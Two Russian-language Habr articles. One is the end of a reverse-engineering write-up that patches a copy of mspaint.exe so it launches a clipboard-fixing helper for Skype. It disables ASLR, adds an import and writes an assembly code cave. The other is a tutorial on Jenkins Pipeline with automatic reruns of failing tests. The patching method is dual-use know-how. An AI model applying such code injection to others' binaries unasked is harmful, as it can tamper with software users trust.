> RegisterClipboardFormat
>
> RemoveClipboardFormatListener
>
> SetClipboardData
>
> SetClipboardViewer
Переходим на документацию к любой из них и обращаем внимание, что работа с буфером обмена осуществляется при помощи модуля User32. Ставим галочку рядом с ним и соответствующими функциями и нажимаем на кнопку «OK»:
Вставляем в окно ввода сообщений Skype'а изображение из snippingtool и смотрим на цепочку вызовов:
Теперь проделываем то же самое с mspaint:
Обратите внимание, что функция [IsClipboardFormatAvailable](https://msdn.microsoft.com/ru-ru/library/windows/desktop/ms649047(v=vs.85).aspx), вызванная с аргументом 0x0000C013, возвращает разные результаты в двух рассмотренных нами случаях. Аргумент этот обозначает формат, наличие которого, собственно, и требуется проверить:
> format [in]
>
> Type: UINT
>
> A standard or registered clipboard format. For a description of the standard clipboard formats, see Standard Clipboard Formats
Давайте взглянем на определения predefined-форматов в заголовочном файле WinUser.h:
```
/*
* Predefined Clipboard Formats
*/
#define CF_TEXT 1
#define CF_BITMAP 2
#define CF_METAFILEPICT 3
#define CF_SYLK 4
#define CF_DIF 5
#define CF_TIFF 6
#define CF_OEMTEXT 7
#define CF_DIB 8
#define CF_PALETTE 9
#define CF_PENDATA 10
#define CF_RIFF 11
#define CF_WAVE 12
#define CF_UNICODETEXT 13
#define CF_ENHMETAFILE 14
#if(WINVER >= 0x0400)
#define CF_HDROP 15
#define CF_LOCALE 16
#endif /* WINVER >= 0x0400 */
#if(WINVER >= 0x0500)
#define CF_DIBV5 17
#endif /* WINVER >= 0x0500 */
#if(WINVER >= 0x0500)
#define CF_MAX 18
#elif(WINVER >= 0x0400)
#define CF_MAX 17
#else
#define CF_MAX 15
#endif
#define CF_OWNERDISPLAY 0x0080
#define CF_DSPTEXT 0x0081
#define CF_DSPBITMAP 0x0082
#define CF_DSPMETAFILEPICT 0x0083
#define CF_DSPENHMETAFILE 0x008E
/*
* "Private" formats don't get GlobalFree()'d
*/
#define CF_PRIVATEFIRST 0x0200
#define CF_PRIVATELAST 0x02FF
/*
* "GDIOBJ" formats do get DeleteObject()'d
*/
#define CF_GDIOBJFIRST 0x0300
#define CF_GDIOBJLAST 0x03FF
```
Как видите, интересующего нас 0x0000C013 среди них, к сожалению, нет. Погуглив немного, я наткнулся на несколько источников (например, [тут](http://www.dfrws.org/2011/proceedings/18-350.pdf)), которые сообщают, что данный формат связан с [OLE](https://en.wikipedia.org/wiki/Object_Linking_and_Embedding):
> The Windows clipboard is the mechanism that Microsoft
>
> Windows operating systems use to allow data to be shared
>
> between applications. It first appeared in Windows 3.1,
>
> although its functionality has greatly increased since then.
>
> Table 1 shows the standard formats used by the clipboard
>
> (Petzold, 1999). However, Microsoft also provides the ability
>
> for “private data formats”, formats that are application
>
> specific (for example, fonts in a word processing program),
>
> and that could be registered so that other applications could
>
> transfer data in these formats (Petzold, 1999). Two private data
>
> formats that are used extensively are object link embedding
>
> (OLE) (0xC013) and dataobjects (0xC009)
Если загрузить mspaint в OllyDbg и поставить бряк на начало функции [SetClipboardData](https://msdn.microsoft.com/en-us/library/windows/desktop/ms649051(v=vs.85).aspx), то при копировании изображения или его части в буфер обмена мы увидим по Call Stack'у, что нас действительно позвали из связанных с OLE функций:
Видимо, Skype действительно при встрече в буфере обмена данных, связанных с OLE, перестаёт думать, что в нём находится полноценное изображение. Не могу сказать, баг это или фича, но меня такое поведение явно не устраивает.
Кстати, Вы обратили внимание, что InsideClipboard не показал данных с форматом 0x0000C013? Если же скачать какой-нибудь другой viewer clipboard'а (например, [Free Clipboard Viewer](http://www.freeclipboardviewer.com/)), то мы увидим эти самые «Ole Private Data»:
Но подождите! Изображение ведь действительно есть в буфере обмена, раз мы можем скопировать его, например, в тот же mspaint. Давайте попробуем получить его, очистить текущее содержимое clipboard'а и «составить» его заново, чтобы в нём не осталось ни малейшего упоминания об OLE.
Пишем следующий код на C#
```
using System;
using System.Windows.Forms;
namespace clipboard_helper
{
class Program
{
[STAThread]
static void Main(string[] args)
{
if (Clipboard.ContainsData(DataFormats.Bitmap))
{
object data = Clipboard.GetData(DataFormats.Bitmap);
Clipboard.SetData(DataFormats.Dib, data);
}
}
}
}
```
, копируем в буфер обмена изображение из mspaint, смотрим на вывод InsideClipboard'а
, запускаем наше приложение и смотрим на содержимое буфера обмена ещё раз:
Пробуем вставить изображение в Skype, и…
Здорово!
Разумеется, запускать вручную каждый раз при копировании отдельный исполняемый файл — не самая лучшая идея, так что предлагаю вооружиться [OllyDbg](http://www.ollydbg.de/) и начать делать это автоматически. Да, можно позвать соответствующий код напрямую из модуля OllyDbg, но зачем, если у нас уже есть готовая программа?
Копируем mspaint.exe из "%WINDIR%\System32" в любую другую директорию, убираем использование технологии ASLR при помощи [PE Tools](http://sourceforge.net/projects/pe-tools/) (этот процесс уже был описан несколько раз в предыдущих статьях — например, [тут](http://habrahabr.ru/post/261507/)), запускаем Paint в OllyDbg и видим следующее собщение:
Что ж, ранее мы уже [имели дело](http://habrahabr.ru/post/262207/) с изменением поведения приложения в случае изменения его окружения, так что давайте создадим директорию под названием «en-US» (в Вашем случае оно, разумеется, может отличаться), и положим туда файл mspaint.exe.mui.
Да, теперь Paint запускается корректно:
Переходим в модуль User32 (right-click по окну CPU -> View -> Module 'USER32'), нажимаем Ctrl-N и ищем в списке имён SetClipboardData:
Ставим бряк на начало данной функции, копируем что-нибудь в буфер обмена из окна mspaint'а и смотрим на call stack:
Прыгаем на ближайший «пользовательский» код, который в данном случае находится по адресу **0x104FDE3**, и смотрим на «окружение»:
Отлично, по адресу **0x0104FDE8** можно будет расположить прыжок на наш code cave. Давайте продумаем, как он будет выглядеть:
```
; Сохраняем состояние регистров на стеке
PUSHAD
PUSHFD
; Вызываем функцию ShellExecuteA
PUSH 0 ; nShowCmd
PUSH 0 ; lpDirectory
PUSH 0 ; lpParameters
PUSH "cb_helper.exe" ; lpFile
PUSH "open" ; lpOperation
PUSH 0 ; hwnd
CALL ShellExecuteA
; Возвращаем состояние регистров в "начальное" состояние
POPFD
POPAD
; Выполняем инструкции, которые должны была выполниться вместо нашего code cave'а
MOV EAX,DWORD PTR DS:[ESI]
PUSH EDI
MOV ECX,ESI
JMP 0x0104FDFD
```
Теперь необходимо узнать адрес в IAT, по которому находится адрес функции ShellExecuteA. Загружаем mspaint.exe в PE Tools, нажимаем на кнопку «Directories», раскрываем пункт «Import Directory» и щёлкаем по SHELL32.dll (именно там, согласно документации, находится реализация данной функции):
К сожалению, среди импортируемых из SHELL32.dll функций нет ни имени [ShellExecute](https://msdn.microsoft.com/en-us/library/windows/desktop/bb762153(v=vs.85).aspx), ни [CreateProcess](https://msdn.microsoft.com/en-us/library/windows/desktop/ms682425(v=vs.85).aspx), ни [system](https://msdn.microsoft.com/en-us/library/277bwbdz.aspx) (впрочем, имеется импорт функции [ShellExecuteExW](https://msdn.microsoft.com/en-us/library/windows/desktop/bb762154(v=vs.85).aspx), но в нашем случае она несколько избыточна). Может быть, она импортируется по ординалу?
Давайте узнаем, какой ординал ей соответствует. Для решения этой задачи я воспользовался утилитой [dumpbin](https://msdn.microsoft.com/en-us/library/c1h23y6c.aspx), доступной из VS Command Prompt:
```
dumpbin /exports shell32.dll
Microsoft (R) COFF/PE Dumper Version 11.00.60610.1
Copyright (C) Microsoft Corporation. All rights reserved.
Dump of file shell32.dll
File Type: DLL
Section contains the following exports for SHELL32.dll
00000000 characteristics
505A94F2 time date stamp Thu Sep 20 08:00:50 2012
0.00 version
2 ordinal base
930 number of functions
349 number of names
ordinal hint RVA name
[...]
451 12E 0027CF17 ShellExecuteA
452 12F 0027CFA0 ShellExecuteEx
453 130 0027CFA0 ShellExecuteExA
454 131 0006CD23 ShellExecuteExW
455 132 001F8CAB ShellExecuteW
```
Как видите, импортироваться по ординалу она также не может.
Что ж, тогда у нас имеются следующие варианты:
* Переписать код с C# на WinAPI и вызвать необходимые для работы с clipboard'ом WinAPI-функции напрямую из модуля mspaint
* Получить адрес функции ShellExecuteA при помощи связки функций [LoadLibrary](https://msdn.microsoft.com/en-us/library/windows/desktop/ms684175(v=vs.85).aspx) и [GetProcAddress](https://msdn.microsoft.com/en-us/library/windows/desktop/ms683212(v=vs.85).aspx), которые есть в IAT
* Добавить функцию ShellExecuteA в IAT самостоятельно
Первое решение уткнётся в примерно ту же проблему, с которой мы имеем дело сейчас — ни одна из WinAPI-функций, необходимых для работы с clipboard'ом, на данный момент напрямую не импортируется в исследуемое приложение. Взаимодействие с буфером обмена осуществляется через OLE, что, на мой взгляд, является не самым удобным вариантом для патчинга.
Второе решение будет работать, однако, по моему мнению, выглядит не очень элегантным.
А вот третье решение выглядит довольно заманчиво.
Для добавления новой функции в IAT я решил воспользоваться программой под названием CFF Explorer, входящей в состав [Explorer Suite](http://www.ntcore.com/exsuite.php). Открываем в ней mspaint.exe, заходим во вкладку «Import Adder», нажимаем на кнопку «Add», указываем путь до файла shell32.dll ("%WINDIR%\System32\shell32.dll"), выбираем из отобразившегося списка функцию ShellExecuteA и нажимаем последовательно на кнопки «Import By Name» и «Rebuild Import Table», после чего сохраняем изменения:
В результате наших действий во вкладке «Import Directory» той же тулзы должна появиться следующая запись:
Странно, но выполнение данных шагов привело к разным результатам на разных версиях Windows. В результате проделывания данных операций на Windows 7 мы получаем бинарник, который содержит вместо адреса функции ShellExecuteA какую-то ерунду, но если выполнить все эти действия на Windows XP, то всё работает так, как и ожидается. На момент написания данной статьи я находился в процессе общения с пользователем **-=AkaBOSS=-** с [exelab](https://exelab.ru/), чтобы выяснить причину данного поведения.
Взяв в руки бинарник, полученный в результате работы программы CFF Explorer на Windows XP, я открыл его на моей основной системе в OllyDbg и посмотрел, что находится по адресу **0x01617198**. Почему именно этот адрес? Потому, что модуль mspaint загрузился по адресу **0x01000000** (впрочем, он и не мог загрузиться по какой-либо другой базе, ведь мы отключили ASLR ранее)
, а CFF Explorer сообщил нам, что нужно смотреть на смещение **0x00617198**. **0x01000000** + **0x00617198** = **0x01617198**.
Как видите, тут действительно находится адрес функции ShellExecuteA.
Ищем место для code cave'а и пишем следующий код (разумеется, адреса могут отличаться):
```
0108977D . 6F 70 65 6E 00 ASCII "open",0
01089782 . 63 62 5F 68 65 6C 70 65 72 2E 65 78 65 00 ASCII "cb_helper.exe",0
01089790 > 60 PUSHAD
01089791 . 9C PUSHFD
01089792 . 6A 00 PUSH 0 ; /IsShown = 0
01089794 . 6A 00 PUSH 0 ; |DefDir = NULL
01089796 . 6A 00 PUSH 0 ; |Parameters = NULL
01089798 . 68 82970801 PUSH mspaint.01089782 ; |FileName = "cb_helper.exe"
0108979D . 68 7D970801 PUSH mspaint.0108977D ; |Operation = "open"
010897A2 . 6A 00 PUSH 0 ; |hWnd = NULL
010897A4 . FF15 98716101 CALL DWORD PTR DS:[<&shell32.ShellExecuteA>] ; \ShellExecuteA
010897AA . 9D POPFD
010897AB . 61 POPAD
010897AC . 8B06 MOV EAX,DWORD PTR DS:[ESI]
010897AE . 57 PUSH EDI
010897AF . 8BCE MOV ECX,ESI
010897B1 .^ E9 4766FCFF JMP mspaint.0104FDFD
```
Теперь добавляем прыжок на наш code cave после вызова процедуры, отвечающей за добавление данных в clipboard:
```
0104FDE3 . E8 B6A70100 CALL
0104FDE8 . E9 A3990300 JMP mspaint.01089790
0104FDED . EB 0E JMP SHORT mspaint.0104FDFD
```
Сохраняем наши изменения в исполняемый файл и наслаждаемся прямой вставкой содержимого буфера обмена из mspaint в Skype.
### Послесловие
Пришла пора прощаться с файлами «2.PNG» и «3.PNG» от создателей «1.PNG», которые всего лишь хотели отправить изображения своим собеседникам в Skype. Не ленитесь придумывать рандомные имена своим файлам? Тогда не ленитесь и OllyDbg открыть.
Спасибо за внимание, и снова надеюсь, что статья оказалась кому-нибудь полезной. | https://habr.com/ru/post/263175/ | null | ru | null |
# Jenkins Pipeline. Что это и как использовать в тестировании
Меня зовут Александр Михайлов, я работаю в команде интеграционного тестирования компании ЮMoney.
Наша команда занимается приемочным тестированием. Оно включает в себя прогон и разбор автотестов на критичные бизнес-процессы в тестовой среде, приближенной по конфигурации к продакшену. Еще мы пишем фреймворк, заглушки, сервисы для тестирования — в целом, [создаем экосистему для автоматизации тестирования](https://habr.com/ru/company/yoomoney/blog/458690/) и обучаем ручных тестировщиков автоматизации.
Надеюсь, что эта статья будет интересна как новичкам, так и тем, кто съел собаку в автоматизации тестирования. Мы рассмотрим базовый синтаксис Jenkins Pipeline, разберемся, как создать джобу на основе пайплайна, а также я расскажу про опыт внедрения неочевидной функциональности в CI — запуска и дожатия автотестов по условию.
Запуск автотестов на Jenkins — инструкция
-----------------------------------------
Не новость, что автотесты эффективнее всего проводить после каждого изменения системы. Запускать их можно локально, но мы рекомендуем делать это только при отладке автотестов. Больший профит автотесты принесут при запуске на CI. В качестве CI-сервера у нас в компании используется Jenkins, в качестве тестового фреймворка — JUnit, а для отчетов — Allure Report.
Чтобы запускать тесты на Jenkins, нужно создать и сконфигурировать джобу.
Для этого достаточно выполнить несколько несложных шагов.1) Нажать «Создать», выбрать задачу со свободной конфигурацией и назвать ее, например, TestJob.
Естественно, для этого у вас должны быть права в Jenkins. Если их нет, нужно обратиться к администратору Jenkins.
2) Указать репозиторий, откуда будет выкачиваться код проекта: URL, credentials и branch, с которого все будет собираться.
3) Добавить нужные параметры, в этом примере — количество потоков (threadsCount) и список тестов для запуска (testList).
Значение “\*Test” для JUnit означает «Запустить все тесты».
4) Добавить команду для запуска тестов.
Наш вариант запускается на Gradle: мы указываем таску теста и передаем параметры в тесты.
./gradlew test -PthreadsCount=$threadsCount -PtestList=$testList
Можно выполнить шаг сборки «Выполнить команду shell», либо через Gradle Plugin использовать шаг «Invoke Gradle Script».
5) Нужно добавить Allure-report (должен быть установлен <https://plugins.jenkins.io/allure-jenkins-plugin/>) в «Послесборочные операции», указав путь к артефактам Allure после прогона (по умолчанию allure-result).
Создав джобу и прогнав с ее помощью тестов, мы можем получить такой результат.
На скрине — реальный прогон. По таймлайну видно, как тесты разделяются по потокам и где были падения.
Несложно заметить, что тесты у нас падают.
### Почему падают тесты
Падения могут случаться по разным причинам. В нашем случае на это влияют:
* ограниченные ресурсы тестового стенда,
* большое число микросервисов (~140); если при запуске интеграционных тестов какой-то один микросервис подтормаживает, тесты начинают валиться,
* большое число интеграционных тестов (>3000 E2E),
* врожденная нестабильность UI-тестов.
В итоге проблемы по этим причинам мультиплицируются, и мы получаем комбинаторный взрыв, проявляющийся ошибками в прогонах тестов. Что делать? Дожимать.
### Что такое дожим
Дожим — это перезапуск автотестов в рамках одного прогона. При успешном прохождении автотеста можно считать его пройденным, не учитывая предыдущие падения в прогоне.
### «Дожимать? Опасно же!»
Возразите вы и будете полностью правы. Безусловно, дожим автотестов может спровоцировать пропуск дефекта на продакшн. Баг может быть плавающим — при повторном запуске успешно просочиться и попасть на продакшн.
Но мы проанализировали статистику падений автотестов за длительный период и увидели, что большинство падений было связано с нестабильной тестовой средой, тестовыми данными. Поэтому мы взяли на себя риск и стали дожимать тесты. Прошло уже больше года, и не было ни одного дефекта, пропущенного на продакшн по этой причине. Зато стабильность тестов повысилась ощутимо.
Как решать задачу с дожимами
----------------------------
Мы пробовали разные решения: использовали модификацию поведения JUnit 4, JUnit 5, писали обертки на Kotlin. И, к сожалению, каждый раз реализация завязывалась на фичах языка или фреймворка.
Если процесс запускался с помощью JUnit 4 или JUnit 5, возможность перезапустить тесты была только сразу при падении. Тест упал, перезапустили его несколько раз подряд — и если сбоил какой-то микросервис из-за нагрузки, либо настройки тестовой среды были некорректные, то тест все три раза падал.
Это сильно удлиняло прогон, особенно когда проблема была в настройке тестовой среды, что приводило к провалу множества тестов.
Мы взглянули на проблему шире, решили убрать зависимость от тестового фреймворка или языка и реализовали перезапуск на более высоком уровне — на уровне CI. И сделали это с помощью Jenkins Pipeline.
Для этого подходил следующий алгоритм: получаем список упавших тестов и проверяем условия перезапуска. Если упавших тестов нет, завершаем прогон. Если есть, решаем, запускать их повторно или нет. Например, можно реализовать логику, чтобы не перезапускались тесты, если их упало больше какого-то критического числа. Или перед запуском можно сделать проверку доступности тестируемого сервиса.
### Что такое Jenkins Pipeline
Jenkins Pipeline — набор плагинов, позволяющий определить жизненный цикл сборки и доставки приложения как код. Он представляет собой Groovy-скрипт с использованием Jenkins Pipeline DSL и хранится стандартно в системе контроля версий.
Существует два способа описания пайплайнов — скриптовый и декларативный.
1. Scripted:
```
node {
stage('Example') {
try {
sh 'exit 1'
}
catch (exc) {
throw exc
}
}
}
```
2. Declarative
```
pipeline {
agent any
stages {
stage("Stage name") {
steps {}
}
}
}
```
Они оба имеют структуру, но в скриптовом она вольная — достаточно указать, на каком слейве запускаться (node), и стадию сборки (stage), а также написать Groovy-код для запуска атомарных степов.
Декларативный пайплайн определен более жестко, и, соответственно, его структура читается лучше.
Рассмотрим подробнее декларативный пайплайн.
1. В структуре должна быть определена директива ***pipeline***.
2. Также нужно определить, на каком агенте (***agent***) будет запущена сборка.
3. Дальше идет определение ***stages***, которые будут содержаться в пайплайне, и обязательно должен быть конкретный стейдж с названием ***stage(“name”)***. Если имени нет, тест упадет в runtime с ошибкой «Добавьте имя стейджа».
4. Обязательно должна быть директива ***steps***, в которой уже содержатся атомарные шаги сборки. Например, вы можете вывести в консоль «Hello».
```
pipeline { // определение декларативного pipeline
agent any // определяет, на каком агенте будет запущена сборка
stages { // содержит стейджи сборки
stage("Stage name") { // отдельный стейдж сборки
steps { // набор шагов в рамках стейджа
echo "Hello work" // один из шагов сборки
}
}
}
}
```
Мне нравится декларативный вид пайплайна тем, что он позволяет определить действия после каждого стейджа или, например, после всей сборки. Я рекомендую использовать его при описании пайплайнов на верхнем уровне.
```
pipeline {
stages {
stage("Post stage") {
post { // определяет действия по завершении стейджа
success { // триггером исполнения секции является состояние сборки
archiveArtifacts artifacts: '**/target/*'
}
}
}
}
post { // после всей сборки
cleanup {
cleanWs()
}
}
}
```
Если сборка и стейдж завершились успешно, можно сохранить артефакты или почистить workspace после сборки. Если же при таких условиях использовался бы скриптовый пайплайн, пришлось бы за этим «флоу» следить самостоятельно, добавляя обработку исключений, условия и т.д.
При написании своего первого пайплайна я, естественно, использовал официальный мануал — там подробное описание синтаксиса и степов.
* <https://jenkins.io/doc/book/pipeline/syntax>
* <https://jenkins.io/doc/pipeline/steps/>
Сначала я даже растерялся и не знал, с чего начать — настолько там много информации. Если вы первый раз сталкиваетесь с написанием пайплайна, начать лучше со знакомства с генераторами фрагментов пайплайна из UI-интерфейса.
* [JENKINS-URL/pipeline-syntax](http://localhost:8080/pipeline-syntax)
*Если к URL вашего веб-интерфейса Jenkins добавить ендпойнт /pipelines-syntax, откроется страница, в которой есть ссылки на документацию и два сниппет-генератора, позволяющие генерировать пайплайн даже без знания его синтаксиса:*
* Declarative sections generator
* Snippet Generator
### Генераторы фрагментов — помощники в мире Jenkins
Для создания пайплайна сначала нужно декларативно его описать, а затем наполнить степами. Давайте посмотрим, как вспомогательные инструменты нам в этом помогут.
* *Declarative sections generator (*[JENKINS-URL/directive-generator](http://localhost:8080/pipeline-syntax)) — генератор фрагментов для декларативного описания пайплайна.
Для добавления стадии нужно написать ее имя и указать, что будет внутри (steps). После нажатия кнопки «Сгенерировать» будет выведен код, который можно добавлять в пайплайн.
```
stage(“start tests”){
steps { //One or more steps needs to be included within the steps block
}
}
```
Также нам нужны шаги, в которых будут выполняться различные действия — например, запуск джобы Jenkins с тестами.
* Snippet Generator ([JENKINS-URL/pipeline-syntax](http://localhost:8080/pipeline-syntax)*) — поможет сгенерировать фрагменты шагов.*
* В Sample Step выбрать build: Build a job.
* (Дальше функционал подсказывает) — необходимо определить параметры, которые будут переданы в джобу (для примера задано branch, project).
* Нажать кнопку «Generate» — в результате сформируется готовый рабочий код.
Изменим параметры джобы на те, которые определили при ее создании.
```
build job ‘QA/TestJob’, parameters: [
string(name: 'threadsCount', value: 16),
string(name: 'testList', value: *Test),
string(name: 'runId', value: runId)]
```
где threadsCount - кол-во потоков для распараллеливания тестов, testList - список тестов для запуска, runId - идентификатор прогона тестов. Для чего нужны эти параметры, расскажу далее.
Snippet Generator удобен тем, что подсвечивает шаги в зависимости от установленных плагинов. Если у вас есть, например, Allure-report, то плагин сразу покажет наличие расширения и поможет сгенерировать код, который будет работать.
Вставим сгенерированный код степа в пайплайн на следующем шаге.
Запуск тестов с помощью Pipeline — инструкция
---------------------------------------------
Итак, давайте с помощью Declarative sections generator создадим пайплайн. В нем нужно указать директивы: pipeline, agent (агент, на котором будет запускаться пайплайн), а также stages и steps (вставка ранее сгенерированного кода).
Так получится пайплайн, который запустит джобу, созданную на предыдущем шаге через UI.
```
pipeline {
agent {
label any
}
stages {
stage("start test") {
steps{
build job: '/QA/TestJob',
parameters: [
string(name: 'threadsCount', value: threadsCount),
string(name: 'runId', value: runId),
string(name: 'testList', value: testList)]
}
}
}
}
```
Напомню, что в параметры для запуска тестов мы передавали количество потоков и список тестов. Теперь к этому добавляем параметр runId (идентификатор прогона тестов) — он понадобится позднее для перезапуска конкретного сьюта тестов.
Чтобы запустить пайплайн, нужно создать проект.
1. New Item -> Pipeline.
Для этого нужно нажать на кнопку «Создать проект» и выбрать не джобу со свободной конфигурацией, а джобу Pipeline — осталось указать ей имя.
2. Добавить параметры runId, threadsCount, testList.
3. Склонировать из Git.
Пайплайн можно описать непосредственно как код и вставить в поле, но для версионирования нужно затягивать пайплайн из Git. Обязательно указываем путь до скрипта с пайплайном.
Готово, джобу можно запускать.
### Хотим добавить немного дожатий
На этом этапе у нас уже готова джоба для запуска проекта с автотестами. Но хочу напомнить, что наша задача — не просто запускать тесты, а добавить им стабильности, исключив падения из-за внешних факторов. Для достижения этого результата было принято решение дожать автотесты.
Для реализации нужно:
1. вынести шаг запуска тестов в библиотечную функцию (shared steps),
2. получить упавшие тесты из прогона,
3. добавить условия перезапуска.
Теперь немного подробнее про каждый из этих шагов.
#### Многократное использование шагов — Shared Steps
В процессе написания пайплайнов я столкнулся с проблемой постоянного дублирования кода (часто используемых степов). Этого хотелось избежать.
Решение нашлось не сразу. Оказывается, для многократного использования кода в Jenkins есть встроенный механизм — shared libraries, который позволяет описать методы один раз и затем применять их во всех пайплайнах.
Существуют два варианта подключения этой библиотеки.
1. Написанный проект/код подключить через UI Jenkins. Для этого требуются отдельные права на добавление shared libraries или привлечение девопс-специалистов (что не всегда удобно).
2. Хранить код в отдельном проекте или в проекте с пайплайнами. При использовании этот код подключается как динамическая библиотека и выкачивается каждый раз при запуске пайплайна.
Мы используем второй вариант — размещаем shared steps в проекте с пайплайнами.
Для этого в проекте нужно:
* создать папку var,
* в ней создать файл с названием метода, который планируется запускать — например, gradlew.groovy,
* стандартно определить имя метода (должен называться call), то есть написать «def call» и определить входящие параметры,
* в теле метода можно написать произвольный Groovy-код и/или Pipeline-степы.
Pipeline script:
```
//Подключение библиотеки
//https://www.jenkins.io/doc/book/pipeline/shared-libraries/ - описание с картинками
library identifier: 'pipeline-shared-lib'
pipeline {
stages {
stage("Build") {
steps {
gradlew(tasks: ["build"]) // вызов метода из библиотеки
}
}
}
}
```
var/gradlew.groovy
```
def call(Map> parameters) {
// стандратное имя для глобального метода
def tasks = parameters["tasks"]
def args = parameters["args"] ?: []
sh "./gradlew ${args.join(' ')}
${tasks.join(' ')}"
// произвольный groovy код + pipeline-методы
}
```
#### Вынесение запуска тестов в shared steps в /var
1. Выносим startTests.groovy в /var.
Во-первых, нужно вынести запуск тестов в отдельный метод. Выглядит это так — создаем файл, называем метод def call, берем кусок кода, который был в пайплайне, и выносим его в этот step.
```
def call(Map params) {
def threadsCount = params["threadsCount"] ?: "3"
def testList = params["testList"] ?: "\*Test"
stage("start test job") {
runTest = build job: '/QA/TestJob',
parameters: [
string(name: 'threadsCount', value: threadsCount),
string(name: 'runId', value: runId),
string(name: 'testList', value: testList)],
propagate: false
}
}
```
Для передачи параметров используется Map. Почему не передавать каждый параметр отдельно? Это не очень удобно, т.к. в Groovy параметры не обозначены по названиям. При использовании Map синтаксис позволяет указать “key:value“ через двоеточие. В коде (в месте вызова метода) это отображается наглядно.
Структура проекта будет выглядеть так.
2. Подключение **shared steps** как внешней библиотеки.
Дальше нужно добавить вынесенные шаги в пайплайн. При динамической подгрузке библиотек (во время запуска пайплайна) эти шаги выкачиваются из репозитория и подключаются на лету.
Сделать это можно с помощью сниппет-генератора — выбираем степ library и указываем ветку, в которую все будет собираться и репозиторий. Дальше нажимаем кнопку «Сгенерировать» и вставляем получившийся пайплайн.
```
library changelog: false,
identifier: 'shared-lib@master',
retriever: modernSCM([
$class : 'GitSCMSource',
remote : 'ssh://git@bitbucket.ru/qa/jenkins-groovy-scripts.git'])
```
Теперь после подключения shared steps вместо шага запуска тестов build нужно вставить startTest. Не забудьте, что имя метода должно совпадать с именем файла.
Теперь наш пайплайн выглядит так.
```
//Динамическое подключение библиотеки
library changelog: false,
identifier: 'shared-lib@master',
retriever: modernSCM([
$class : 'GitSCMSource',
remote : 'ssh://git@bitbucket.ru/qa/jenkins-groovy-scripts.git'])
pipeline {
agent {
label any
}
stages {
stage("start test") {
steps{
startTests(runId: runId ) //Вызов метода из библиотеки
}
}
}
}
```
Первый шаг реализован, теперь можно многократно запускать тесты в разных местах. Переходим к 2 шагу.
#### Получение упавших тестов из прогона
Теперь нам нужны упавшие тесты. Каким образом их извлечь?
* Установить в Jenkins плагин JUnit Test Result Report и использовать его API.
* Взять результаты прогона JUnit (обычно в формате XML), распарсить и извлечь нужные данные.
* Запросить список упавших тестов из нужного места.
В нашем случае таким местом является собственный написанный сервис — Reporter. Во время прогона тестов результат по каждому из них отправляется именно туда. В конце прогона делаем http-запрос и получаем упавшие тесты.
[**http://reporter:8080/failedTests/$runId**](http://reporter:8080/failedTests/%24runId)
#### Добавление условий перезапуска
На этом шаге следует добавить getFailedTests.groovy в /var. Представим, что у вас есть такой сервис — Reporter. Нужно назвать файл getFailedTests, сделать запрос httpRequest в этот сервис и распарсить его.
```
def call(String runId) {
def response = httpRequest httpMode: 'GET',
url: "http://reporter:8080/failedTests/$runId"
def json = new JsonSlurper().parseText(response.content)
return json.data
}
```
Отлично, второй шаг выполнен. Осталось добавить ту самую изюминку — условия перезапуска. Но сначала посмотрим, что получается.
Есть запуск тестов и получение результатов прогона. Теперь нужно добавить те самые условия, которые будут говорить: «Если все хорошо, завершай прогон. Если плохо, давай перезапускать».
#### Условия перезапуска
Какие условия для перезапуска можно реализовать?
Приведу часть условий, которые используем мы.
1) Если нет упавших тестов, прогон завершается.
```
if (countFailedTests == 0) {
echo «FINISHED»
…
}
```
2) Как я уже писал выше, на тестовой среде ресурсы ограничены, и бывает такое, что ТС захлебывается в большом количестве параллельных тестов. Чтобы на дожатии избежать падений тестов по этой причине, понижаем число потоков на повторном запуске. Именно для этого при создании джобы и в самом пайплайне мы добавили параметр threadsCount.
Если и после уменьшения потоков тесты не дожимаются (количество упавших тестов на предыдущем прогоне равно числу упавших тестов на текущем), тогда считаем, что дело не во влиянии ТС на тесты. Останавливаем прогон для анализа причин падений — и тем самым предотвращаем последующий холостой запуск.
```
if (countFailedTests == previousCountFailedTests) {
echo «TERMINATED - no one new passed test after retry»
…
}
```
3) Третья и самая простая проверка состоит в том, что если падает большое количество тестов, то дожимать долго. Скорее всего, причина падений какая-то глобальная, и ее нужно изучать.
Для себя мы определили: если тестов > 40, дожимать не автоматически не будем, потому что 40 наших E2E могут проходить порядка 15 минут.
```
if (countFailedTests > FAILEDTESTSTRESHOLD) {
echo «TERMINATED - too much failed tests»
…
}
```
Получился метод:[*https://github.com/useriq/retry-flaky-tests/blob/master/jenkins-pipeline-retry/var/testsWithRerun.groovy*](https://github.com/useriq/retry-flaky-tests/blob/master/jenkins-pipeline-retry/var/testsWithRerun.groovy)
```
def call(Map params) {
assert params["runId"]
def threadsCount = params["threadsCount"] ?: "8"
def testList = params["testList"] ?: "\*Test"
def runId = params["runId"]
int FAILED\_TESTS\_TRESHOLD = 40
def countFailedTests = 0
def failedTests
int run = 1
boolean isFinished = false
int threads = threadsCount as int
while (run <= Integer.valueOf(runCount) && !isFinished) {
if (run == 1) {
startTests()
} else {
if (countFailedTests > 0) {
threads = reduceThreads(threads)
testList = failedTests.toString().minus('[').minus(']').minus(' ')
startTests()
}
}
stage("check ${run}\_run result ") {
failedTests = getFailedTests(runId)
def previousCountFailedTests = countFailedTests
countFailedTests = failedTests.size()
if (countFailedTests == 0) {
echo "FINISHED"
isFinished = true
}
if (countFailedTests > FAILED\_TESTS\_TRESHOLD) {
echo "TERMINATED - too much failed tests > ${FAILED\_TESTS\_TRESHOLD}"
isFinished = true
}
if (countFailedTests == previousCountFailedTests) {
echo "TERMINATED - no one new passed test after retry"
isFinished = true
}
}
run += 1
}
}
```
Последние два условия — так называемые fail fast. Они позволяют при глобальных проблемах на тестовом стенде не делать прогоны, которые не приведут к дожиму тестов, но будут занимать ресурсы тестового стенда.
### Итоговый pipeline
*Итак, все 3 шага реализованы — итоговый пайплайн выглядит* [*так*](https://github.com/useriq/retry-flaky-tests/blob/master/jenkins-pipeline-retry/src/main/groovy/pipelines/simple-pipeline.groovy)*.*
```
library changelog: false,
identifier: 'shared-lib@master',
retriever: modernSCM([
$class : 'GitSCMSource',
remote : 'ssh://git@bitbucket.ru/qa/jenkins-groovy-scripts.git'])
assert runId != null
pipeline {
agent {
label any
}
stages {
stage("start test") {
steps {
testsWithRerun(runId: runId)
}
}
}
}
```
### Визуализация с Blue Ocean
Как все это выглядит при прогоне в Jenkins? У нас, к примеру, для визуализации в Jenkins установлен плагин Blue Ocean.
На картинке ниже можно увидеть, что:
1. запустился метод testwith\_rerun,
2. прошел первый запуск,
3. прошла проверка упавших тестов,
4. запустился второй прогон,
5. после успешной проверки джоба завершилась.
